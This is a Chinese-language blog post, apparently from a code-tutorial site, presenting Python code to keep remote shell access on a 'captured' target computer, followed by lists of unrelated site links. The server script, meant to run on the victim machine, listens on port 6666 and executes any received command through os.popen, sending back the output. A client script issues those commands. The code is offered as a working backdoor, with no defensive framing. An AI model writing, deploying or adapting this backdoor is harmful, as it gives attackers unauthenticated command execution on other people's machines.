python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python的加密模块md5、sha、crypt使用实例
Sep 28 Python
Python3.4编程实现简单抓取爬虫功能示例
Sep 14 Python
详解Django中类视图使用装饰器的方式
Aug 12 Python
python在html中插入简单的代码并加上时间戳的方法
Oct 16 Python
Python3列表内置方法大全及示例代码小结
May 10 Python
pycharm设置鼠标悬停查看方法设置
Jul 29 Python
Python学习笔记之字符串和字符串方法实例详解
Aug 22 Python
Python绘制二维曲线的日常应用详解
Dec 04 Python
pytorch 实现删除tensor中的指定行列
Jan 13 Python
python标准库OS模块详解
Mar 10 Python
Python下载的11种姿势(小结)
Nov 18 Python
python实现MD5进行文件去重的示例代码
Jul 09 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
对Session和Cookie的区分与解释
2007/03/16 PHP
PHP实现文件下载【实例分享】
2017/04/28 PHP
Yii2框架实现登陆添加验证码功能示例
2018/07/12 PHP
PHP PDOStatement::setFetchMode讲解
2019/02/03 PHP
PHP实现基本留言板功能原理与步骤详解
2020/03/26 PHP
一个加密JavaScript的开源工具PACKER2.0.2
2006/11/04 Javascript
JavaScript 动态生成方法的例子
2009/07/22 Javascript
JavaScript Event学习第三章 早期的事件处理程序
2010/02/07 Javascript
Jquery+ajax请求data显示在GridView上(asp.net)
2010/08/27 Javascript
javascript showModalDialog 内跳转页面的问题
2010/11/25 Javascript
读jQuery之十二 删除事件核心方法
2011/07/31 Javascript
jQuery 获取、设置HTML或TEXT内容的两种方法
2014/05/23 Javascript
JavaScript中document对象使用详解
2015/01/06 Javascript
js中键盘事件实例简析
2015/01/10 Javascript
JS实现仿新浪微博发布内容为空时提示功能代码
2015/08/19 Javascript
js实现小窗口拖拽效果
2016/12/03 Javascript
微信小程序绘制图片发送朋友圈
2019/07/25 Javascript
微信小程序清空输入框信息与实现屏幕往上滚动的示例代码
2020/06/23 Javascript
React 条件渲染最佳实践小结(7种)
2020/09/27 Javascript
JS绘图Flot应用图形绘制异常解决方案
2020/10/16 Javascript
[02:59]DOTA2完美大师赛主赛事第三日精彩集锦
2017/11/25 DOTA
使用python调用浏览器并打开一个网址的例子
2014/06/05 Python
如何利用python查找电脑文件
2018/04/27 Python
Python object类中的特殊方法代码讲解
2020/03/06 Python
Python实现迪杰斯特拉算法过程解析
2020/09/18 Python
Banana Republic英国官网:香蕉共和国,GAP集团旗下偏贵族风
2018/04/24 全球购物
Tretorn美国官网:瑞典外套和鞋类品牌,抵御风雨
2018/07/19 全球购物
街头时尚在线:JESSICABUURMAN
2019/06/16 全球购物
Java中compareTo和compare的区别
2016/04/12 面试题
Linux如何为某个操作添加别名
2013/03/01 面试题
大学生最常用的自我评价
2013/12/07 职场文书
伊索寓言教学反思
2014/05/01 职场文书
学生穿着不得体检讨书
2014/10/12 职场文书
2015年药房工作总结
2015/04/25 职场文书
100句拼搏进取的名言警句,值得一读!
2019/10/07 职场文书
聊聊mysql都有哪几种分区方式
2022/04/13 MySQL